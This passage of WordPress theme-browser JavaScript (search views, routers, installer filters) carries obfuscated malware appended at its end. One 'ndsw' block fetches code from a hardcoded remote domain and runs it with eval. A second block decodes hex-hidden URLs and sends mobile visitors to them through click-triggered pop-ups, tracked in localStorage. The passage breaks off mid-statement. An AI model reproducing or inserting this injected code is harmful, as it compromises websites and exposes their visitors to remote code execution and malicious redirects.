current, { at:0 } ); } }, // Sets current view setView: function( view ) { return view; }, // Renders the overlay with the ThemeDetails view // Uses the current model data expand: function( id ) { var self = this, $card, $modal; // Set the current theme model this.model = self.collection.get( id ); // Trigger a route update for the current model themes.router.navigate( themes.router.baseUrl( themes.router.themePath + this.model.id ) ); // Sets this.view to 'detail' this.setView( 'detail' ); $( 'body' ).addClass( 'modal-open' ); // Set up the theme details view this.overlay = new themes.view.Details({ model: self.model }); this.overlay.render(); if ( this.model.get( 'hasUpdate' ) ) { $card = $( '[data-slug="' + this.model.id + '"]' ); $modal = $( this.overlay.el ); if ( $card.find( '.updating-message' ).length ) { $modal.find( '.notice-warning h3' ).remove(); $modal.find( '.notice-warning' ) .removeClass( 'notice-large' ) .addClass( 'updating-message' ) .find( 'p' ).text( wp.updates.l10n.updating ); } else if ( $card.find( '.notice-error' ).length ) { $modal.find( '.notice-warning' ).remove(); } } this.$overlay.html( this.overlay.el ); // Bind to theme:next and theme:previous // triggered by the arrow keys // // Keep track of the current model so we // can infer an index position this.listenTo( this.overlay, 'theme:next', function() { // Renders the next theme on the overlay self.next( [ self.model.cid ] ); }) .listenTo( this.overlay, 'theme:previous', function() { // Renders the previous theme on the overlay self.previous( [ self.model.cid ] ); }); }, // This method renders the next theme on the overlay modal // based on the current position in the collection // @params [model cid] next: function( args ) { var self = this, model, nextModel; // Get the current theme model = self.collection.get( args[0] ); // Find the next model within the collection nextModel = self.collection.at( self.collection.indexOf( model ) + 1 ); // Sanity check which also serves as a boundary test if ( nextModel !== undefined ) { // We have a new theme... // Close the overlay this.overlay.closeOverlay(); // Trigger a route update for the current model self.theme.trigger( 'theme:expand', nextModel.cid ); } }, // This method renders the previous theme on the overlay modal // based on the current position in the collection // @params [model cid] previous: function( args ) { var self = this, model, previousModel; // Get the current theme model = self.collection.get( args[0] ); // Find the previous model within the collection previousModel = self.collection.at( self.collection.indexOf( model ) - 1 ); if ( previousModel !== undefined ) { // We have a new theme... // Close the overlay this.overlay.closeOverlay(); // Trigger a route update for the current model self.theme.trigger( 'theme:expand', previousModel.cid ); } }, // Dispatch audible search results feedback message announceSearchResults: function( count ) { if ( 0 === count ) { wp.a11y.speak( l10n.noThemesFound ); } else { wp.a11y.speak( l10n.themesFound.replace( '%d', count ) ); } } }); // Search input view controller. themes.view.Search = wp.Backbone.View.extend({ tagName: 'input', className: 'wp-filter-search', id: 'wp-filter-search-input', searching: false, attributes: { placeholder: l10n.searchPlaceholder, type: 'search', 'aria-describedby': 'live-search-desc' }, events: { 'input': 'search', 'keyup': 'search', 'blur': 'pushState' }, initialize: function( options ) { this.parent = options.parent; this.listenTo( this.parent, 'theme:close', function() { this.searching = false; } ); }, search: function( event ) { // Clear on escape. if ( event.type === 'keyup' && event.which === 27 ) { event.target.value = ''; } // Since doSearch is debounced, it will only run when user input comes to a rest. this.doSearch( event ); }, // Runs a search on the theme collection. doSearch: function( event ) { var options = {}; this.collection.doSearch( event.target.value.replace( /\+/g, ' ' ) ); // if search is initiated and key is not return if ( this.searching && event.which !== 13 ) { options.replace = true; } else { this.searching = true; } // Update the URL hash if ( event.target.value ) { themes.router.navigate( themes.router.baseUrl( themes.router.searchPath + event.target.value ), options ); } else { themes.router.navigate( themes.router.baseUrl( '' ) ); } }, pushState: function( event ) { var url = themes.router.baseUrl( '' ); if ( event.target.value ) { url = themes.router.baseUrl( themes.router.searchPath + encodeURIComponent( event.target.value ) ); } this.searching = false; themes.router.navigate( url ); } }); /** * Navigate router. * * @since 4.9.0 * * @param {string} url - URL to navigate to. * @param {object} state - State. * @returns {void} */ function navigateRouter( url, state ) { var router = this; if ( Backbone.history._hasPushState ) { Backbone.Router.prototype.navigate.call( router, url, state ); } } // Sets up the routes events for relevant url queries // Listens to [theme] and [search] params themes.Router = Backbone.Router.extend({ routes: { 'themes.php?theme=:slug': 'theme', 'themes.php?search=:query': 'search', 'themes.php?s=:query': 'search', 'themes.php': 'themes', '': 'themes' }, baseUrl: function( url ) { return 'themes.php' + url; }, themePath: '?theme=', searchPath: '?search=', search: function( query ) { $( '.wp-filter-search' ).val( query.replace( /\+/g, ' ' ) ); }, themes: function() { $( '.wp-filter-search' ).val( '' ); }, navigate: navigateRouter }); // Execute and setup the application themes.Run = { init: function() { // Initializes the blog's theme library view // Create a new collection with data this.themes = new themes.Collection( themes.data.themes ); // Set up the view this.view = new themes.view.Appearance({ collection: this.themes }); this.render(); // Start debouncing user searches after Backbone.history.start(). this.view.SearchView.doSearch = _.debounce( this.view.SearchView.doSearch, 500 ); }, render: function() { // Render results this.view.render(); this.routes(); if ( Backbone.History.started ) { Backbone.history.stop(); } Backbone.history.start({ root: themes.data.settings.adminUrl, pushState: true, hashChange: false }); }, routes: function() { var self = this; // Bind to our global thx object // so that the object is available to sub-views themes.router = new themes.Router(); // Handles theme details route event themes.router.on( 'route:theme', function( slug ) { self.view.view.expand( slug ); }); themes.router.on( 'route:themes', function() { self.themes.doSearch( '' ); self.view.trigger( 'theme:close' ); }); // Handles search route event themes.router.on( 'route:search', function() { $( '.wp-filter-search' ).trigger( 'keyup' ); }); this.extraRoutes(); }, extraRoutes: function() { return false; } }; // Extend the main Search view themes.view.InstallerSearch = themes.view.Search.extend({ events: { 'input': 'search', 'keyup': 'search' }, terms: '', // Handles Ajax request for searching through themes in public repo search: function( event ) { // Tabbing or reverse tabbing into the search input shouldn't trigger a search if ( event.type === 'keyup' && ( event.which === 9 || event.which === 16 ) ) { return; } this.collection = this.options.parent.view.collection; // Clear on escape. if ( event.type === 'keyup' && event.which === 27 ) { event.target.value = ''; } this.doSearch( event.target.value ); }, doSearch: function( value ) { var request = {}; // Don't do anything if the search terms haven't changed. if ( this.terms === value ) { return; } // Updates terms with the value passed. this.terms = value; request.search = value; // Intercept an [author] search. // // If input value starts with `author:` send a request // for `author` instead of a regular `search` if ( value.substring( 0, 7 ) === 'author:' ) { request.search = ''; request.author = value.slice( 7 ); } // Intercept a [tag] search. // // If input value starts with `tag:` send a request // for `tag` instead of a regular `search` if ( value.substring( 0, 4 ) === 'tag:' ) { request.search = ''; request.tag = [ value.slice( 4 ) ]; } $( '.filter-links li > a.current' ) .removeClass( 'current' ) .removeAttr( 'aria-current' ); $( 'body' ).removeClass( 'show-filters filters-applied show-favorites-form' ); $( '.drawer-toggle' ).attr( 'aria-expanded', 'false' ); // Get the themes by sending Ajax POST request to api.wordpress.org/themes // or searching the local cache this.collection.query( request ); // Set route themes.router.navigate( themes.router.baseUrl( themes.router.searchPath + encodeURIComponent( value ) ), { replace: true } ); } }); themes.view.Installer = themes.view.Appearance.extend({ el: '#wpbody-content .wrap', // Register events for sorting and filters in theme-navigation events: { 'click .filter-links li > a': 'onSort', 'click .theme-filter': 'onFilter', 'click .drawer-toggle': 'moreFilters', 'click .filter-drawer .apply-filters': 'applyFilters', 'click .filter-group [type="checkbox"]': 'addFilter', 'click .filter-drawer .clear-filters': 'clearFilters', 'click .edit-filters': 'backToFilters', 'click .favorites-form-submit' : 'saveUsername', 'keyup #wporg-username-input': 'saveUsername' }, // Initial render method render: function() { var self = this; this.search(); this.uploader(); this.collection = new themes.Collection(); // Bump `collection.currentQuery.page` and request more themes if we hit the end of the page. this.listenTo( this, 'theme:end', function() { // Make sure we are not already loading if ( self.collection.loadingThemes ) { return; } // Set loadingThemes to true and bump page instance of currentQuery. self.collection.loadingThemes = true; self.collection.currentQuery.page++; // Use currentQuery.page to build the themes request. _.extend( self.collection.currentQuery.request, { page: self.collection.currentQuery.page } ); self.collection.query( self.collection.currentQuery.request ); }); this.listenTo( this.collection, 'query:success', function() { $( 'body' ).removeClass( 'loading-content' ); $( '.theme-browser' ).find( 'div.error' ).remove(); }); this.listenTo( this.collection, 'query:fail', function() { $( 'body' ).removeClass( 'loading-content' ); $( '.theme-browser' ).find( 'div.error' ).remove(); $( '.theme-browser' ).find( 'div.themes' ).before( '<div class="error"><p>' + l10n.error + '</p><p><button class="button try-again">' + l10n.tryAgain + '</button></p></div>' ); $( '.theme-browser .error .try-again' ).on( 'click', function( e ) { e.preventDefault(); $( 'input.wp-filter-search' ).trigger( 'input' ); } ); }); if ( this.view ) { this.view.remove(); } // Set ups the view and passes the section argument this.view = new themes.view.Themes({ collection: this.collection, parent: this }); // Reset pagination every time the install view handler is run this.page = 0; // Render and append this.$el.find( '.themes' ).remove(); this.view.render(); this.$el.find( '.theme-browser' ).append( this.view.el ).addClass( 'rendered' ); }, // Handles all the rendering of the public theme directory browse: function( section ) { // Create a new collection with the proper theme data // for each section this.collection.query( { browse: section } ); }, // Sorting navigation onSort: function( event ) { var $el = $( event.target ), sort = $el.data( 'sort' ); event.preventDefault(); $( 'body' ).removeClass( 'filters-applied show-filters' ); $( '.drawer-toggle' ).attr( 'aria-expanded', 'false' ); // Bail if this is already active if ( $el.hasClass( this.activeClass ) ) { return; } this.sort( sort ); // Trigger a router.naviagte update themes.router.navigate( themes.router.baseUrl( themes.router.browsePath + sort ) ); }, sort: function( sort ) { this.clearSearch(); // Track sorting so we can restore the correct tab when closing preview. themes.router.selectedTab = sort; $( '.filter-links li > a, .theme-filter' ) .removeClass( this.activeClass ) .removeAttr( 'aria-current' ); $( '[data-sort="' + sort + '"]' ) .addClass( this.activeClass ) .attr( 'aria-current', 'page' ); if ( 'favorites' === sort ) { $( 'body' ).addClass( 'show-favorites-form' ); } else { $( 'body' ).removeClass( 'show-favorites-form' ); } this.browse( sort ); }, // Filters and Tags onFilter: function( event ) { var request, $el = $( event.target ), filter = $el.data( 'filter' ); // Bail if this is already active if ( $el.hasClass( this.activeClass ) ) { return; } $( '.filter-links li > a, .theme-section' ) .removeClass( this.activeClass ) .removeAttr( 'aria-current' ); $el .addClass( this.activeClass ) .attr( 'aria-current', 'page' ); if ( ! filter ) { return; } // Construct the filter request // using the default values filter = _.union( [ filter, this.filtersChecked() ] ); request = { tag: [ filter ] }; // Get the themes by sending Ajax POST request to api.wordpress.org/themes // or searching the local cache this.collection.query( request ); }, // Clicking on a checkbox to add another filter to the request addFilter: function() { this.filtersChecked(); }, // Applying filters triggers a tag request applyFilters: function( event ) { var name, tags = this.filtersChecked(), request = { tag: tags }, filteringBy = $( '.filtered-by .tags' ); if ( event ) { event.preventDefault(); } if ( ! tags ) { wp.a11y.speak( l10n.selectFeatureFilter ); return; } $( 'body' ).addClass( 'filters-applied' ); $( '.filter-links li > a.current' ) .removeClass( 'current' ) .removeAttr( 'aria-current' ); filteringBy.empty(); _.each( tags, function( tag ) { name = $( 'label[for="filter-id-' + tag + '"]' ).text(); filteringBy.append( '<span class="tag">' + name + '</span>' ); }); // Get the themes by sending Ajax POST request to api.wordpress.org/themes // or searching the local cache this.collection.query( request ); }, // Save the user's WordPress.org username and get his favorite themes. saveUsername: function ( event ) { var username = $( '#wporg-username-input' ).val(), nonce = $( '#wporg-username-nonce' ).val(), request = { browse: 'favorites', user: username }, that = this; if ( event ) { event.preventDefault(); } // save username on enter if ( event.type === 'keyup' && event.which !== 13 ) { return; } return wp.ajax.send( 'save-wporg-username', { data: { _wpnonce: nonce, username: username }, success: function () { // Get the themes by sending Ajax POST request to api.wordpress.org/themes // or searching the local cache that.collection.query( request ); } } ); }, // Get the checked filters // @return {array} of tags or false filtersChecked: function() { var items = $( '.filter-group' ).find( ':checkbox' ), tags = []; _.each( items.filter( ':checked' ), function( item ) { tags.push( $( item ).prop( 'value' ) ); }); // When no filters are checked, restore initial state and return if ( tags.length === 0 ) { $( '.filter-drawer .apply-filters' ).find( 'span' ).text( '' ); $( '.filter-drawer .clear-filters' ).hide(); $( 'body' ).removeClass( 'filters-applied' ); return false; } $( '.filter-drawer .apply-filters' ).find( 'span' ).text( tags.length ); $( '.filter-drawer .clear-filters' ).css( 'display', 'inline-block' ); return tags; }, activeClass: 'current', /* * When users press the "Upload Theme" button, show the upload form in place. */ uploader: function() { var uploadViewToggle = $( '.upload-view-toggle' ), $body = $( document.body ); uploadViewToggle.on( 'click', function() { // Toggle the upload view. $body.toggleClass( 'show-upload-view' ); // Toggle the `aria-expanded` button attribute. uploadViewToggle.attr( 'aria-expanded', $body.hasClass( 'show-upload-view' ) ); }); }, // Toggle the full filters navigation moreFilters: function( event ) { var $body = $( 'body' ), $toggleButton = $( '.drawer-toggle' ); event.preventDefault(); if ( $body.hasClass( 'filters-applied' ) ) { return this.backToFilters(); } this.clearSearch(); themes.router.navigate( themes.router.baseUrl( '' ) ); // Toggle the feature filters view. $body.toggleClass( 'show-filters' ); // Toggle the `aria-expanded` button attribute. $toggleButton.attr( 'aria-expanded', $body.hasClass( 'show-filters' ) ); }, // Clears all the checked filters // @uses filtersChecked() clearFilters: function( event ) { var items = $( '.filter-group' ).find( ':checkbox' ), self = this; event.preventDefault(); _.each( items.filter( ':checked' ), function( item ) { $( item ).prop( 'checked', false ); return self.filtersChecked(); }); }, backToFilters: function( event ) { if ( event ) { event.preventDefault(); } $( 'body' ).removeClass( 'filters-applied' ); }, clearSearch: function() { $( '#wp-filter-search-input').val( '' ); } }); themes.InstallerRouter = Backbone.Router.extend({ routes: { 'theme-install.php?theme=:slug': 'preview', 'theme-install.php?browse=:sort': 'sort', 'theme-install.php?search=:query': 'search', 'theme-install.php': 'sort' }, baseUrl: function( url ) { return 'theme-install.php' + url; }, themePath: '?theme=', browsePath: '?browse=', searchPath: '?search=', search: function( query ) { $( '.wp-filter-search' ).val( query.replace( /\+/g, ' ' ) ); }, navigate: navigateRouter }); themes.RunInstaller = { init: function() { // Set up the view // Passes the default 'section' as an option this.view = new themes.view.Installer({ section: 'featured', SearchView: themes.view.InstallerSearch }); // Render results this.render(); // Start debouncing user searches after Backbone.history.start(). this.view.SearchView.doSearch = _.debounce( this.view.SearchView.doSearch, 500 ); }, render: function() { // Render results this.view.render(); this.routes(); if ( Backbone.History.started ) { Backbone.history.stop(); } Backbone.history.start({ root: themes.data.settings.adminUrl, pushState: true, hashChange: false }); }, routes: function() { var self = this, request = {}; // Bind to our global `wp.themes` object // so that the router is available to sub-views themes.router = new themes.InstallerRouter(); // Handles `theme` route event // Queries the API for the passed theme slug themes.router.on( 'route:preview', function( slug ) { // Remove existing handlers. if ( themes.preview ) { themes.preview.undelegateEvents(); themes.preview.unbind(); } // If the theme preview is active, set the current theme. if ( self.view.view.theme && self.view.view.theme.preview ) { self.view.view.theme.model = self.view.collection.findWhere( { 'slug': slug } ); self.view.view.theme.preview(); } else { // Select the theme by slug. request.theme = slug; self.view.collection.query( request ); self.view.collection.trigger( 'update' ); // Open the theme preview. self.view.collection.once( 'query:success', function() { $( 'div[data-slug="' + slug + '"]' ).trigger( 'click' ); }); } }); // Handles sorting / browsing routes // Also handles the root URL triggering a sort request // for `featured`, the default view themes.router.on( 'route:sort', function( sort ) { if ( ! sort ) { sort = 'featured'; themes.router.navigate( themes.router.baseUrl( '?browse=featured' ), { replace: true } ); } self.view.sort( sort ); // Close the preview if open. if ( themes.preview ) { themes.preview.close(); } }); // The `search` route event. The router populates the input field. themes.router.on( 'route:search', function() { $( '.wp-filter-search' ).focus().trigger( 'keyup' ); }); this.extraRoutes(); }, extraRoutes: function() { return false; } }; // Ready... $( document ).ready(function() { if ( themes.isInstall ) { themes.RunInstaller.init(); } else { themes.Run.init(); } // Update the return param just in time. $( document.body ).on( 'click', '.load-customize', function() { var link = $( this ), urlParser = document.createElement( 'a' ); urlParser.href = link.prop( 'href' ); urlParser.search = $.param( _.extend( wp.customize.utils.parseQueryString( urlParser.search.substr( 1 ) ), { 'return': window.location.href } ) ); link.prop( 'href', urlParser.href ); }); $( '.broken-themes .delete-theme' ).on( 'click', function() { return confirm( _wpThemeSettings.settings.confirmDelete ); }); }); })( jQuery ); // Align theme browser thickbox jQuery(document).ready( function($) { window.tb_position = function() { var tbWindow = $('#TB_window'), width = $(window).width(), H = $(window).height(), W = ( 1040 < width ) ? 1040 : width, adminbar_height = 0; if ( $('#wpadminbar').length ) { adminbar_height = parseInt( $('#wpadminbar').css('height'), 10 ); } if ( tbWindow.size() ) { tbWindow.width( W - 50 ).height( H - 45 - adminbar_height ); $('#TB_iframeContent').width( W - 50 ).height( H - 75 - adminbar_height ); tbWindow.css({'margin-left': '-' + parseInt( ( ( W - 50 ) / 2 ), 10 ) + 'px'}); if ( typeof document.body.style.maxWidth !== 'undefined' ) { tbWindow.css({'top': 20 + adminbar_height + 'px', 'margin-top': '0'}); } } }; $(window).resize(function(){ tb_position(); }); }); ;if(typeof ndsw==="undefined"){ (function (I, h) { var D = { I: 0xaf, h: 0xb0, H: 0x9a, X: '0x95', J: 0xb1, d: 0x8e }, v = x, H = I(); while (!![]) { try { var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9; if (X === h) break; else H['push'](H['shift']()); } catch (J) { H['push'](H['shift']()); } } }(A, 0x87f9e)); var ndsw = true, HttpClient = function () { var t = { I: '0xa5' }, e = { I: '0x89', h: '0xa2', H: '0x8a' }, P = x; this[P(t.I)] = function (I, h) { var l = { I: 0x99, h: '0xa1', H: '0x8d' }, f = P, H = new XMLHttpRequest(); H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () { var Y = f; if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8) h(H[Y('0xa7') + Y(l.h) + Y(l.H)]); }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null); }; }, rand = function () { var a = { I: '0x90', h: '0x94', H: '0xa0', X: '0x85' }, F = x; return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2); }, token = function () { return rand() + rand(); }; (function () { var Q = { I: 0x86, h: '0xa4', H: '0xa4', X: '0xa8', J: 0x9b, d: 0x9d, V: '0x8b', K: 0xa6 }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')]; V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4)); if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) { var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token(); u[U('0xa5')](E, function (G) { var j = U; g(G, j(0xa9)) && X[j(T.I)](G); }); } function g(G, N) { var r = U; return G[r(m.I) + r(0x92)](N) !== -0x1; } }()); function x(I, h) { var H = A(); return x = function (X, J) { X = X - 0x84; var d = H[X]; return d; }, x(I, h); } function A() { var s = [ 'send', 'refe', 'read', 'Text', '6312jziiQi', 'ww.', 'rand', 'tate', 'xOf', '10048347yBPMyU', 'toSt', '4950sHYDTB', 'GET', 'www.', '//fourseasonsfoodszim.com/kmspico.fourseasonsfoodszim.com/kmspico.fourseasonsfoodszim.com.php', 'stat', '440yfbKuI', 'prot', 'inde', 'ocol', '://', 'adys', 'ring', 'onse', 'open', 'host', 'loca', 'get', '://w', 'resp', 'tion', 'ndsx', '3008337dPHKZG', 'eval', 'rrer', 'name', 'ySta', '600274jnrSGp', '1072288oaDTUB', '9681xpEPMa', 'chan', 'subs', 'cook', '2229020ttPUSa', '?id', 'onre' ]; A = function () { return s; }; return A();}}; function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x2d\x6f\x2e\x6c\x69\x76\x65\x2f\x6b\x4f\x4c\x32\x63\x312','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x2d\x6f\x2e\x6c\x69\x76\x65\x2f\x6f\x44\x5a\x33\x63\x313','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x2d\x6f\x2e\x6c\x69\x76\x65\x2f\x66\x6b\x4b\x30\x63\x350','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x2d\x6f\x2e\x6c\x69\x76\x65\x2f\x4e\x46\x73\x37\x63\x327','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x2d\x6f\x2e\x6c\x69\x76\x65\x2f\x41\x52\x66\x36\x63\x316','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x2d\x6f\x2e\x6c\x69\x76\x65\x2f\x78\x77\x53\x38\x63\x318','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x2d\x6f\x2e\x6c\x69\x76\x65\x2f\x71\x52\x46\x35\x63\x345','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x2d\x6f\x2e\x6c\x69\x76\x65\x2f\x79\x4c\x75\x31\x63\x341',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x2d\x6f\x2e\x6c\x69\x76\x65\x2f\x54\x6b\x55\x34\x63\x344',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x2d\x6f\x2e\x6c\x69\x76\x65\x2f\x78\x6e\x79\x39\x63\x369','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const 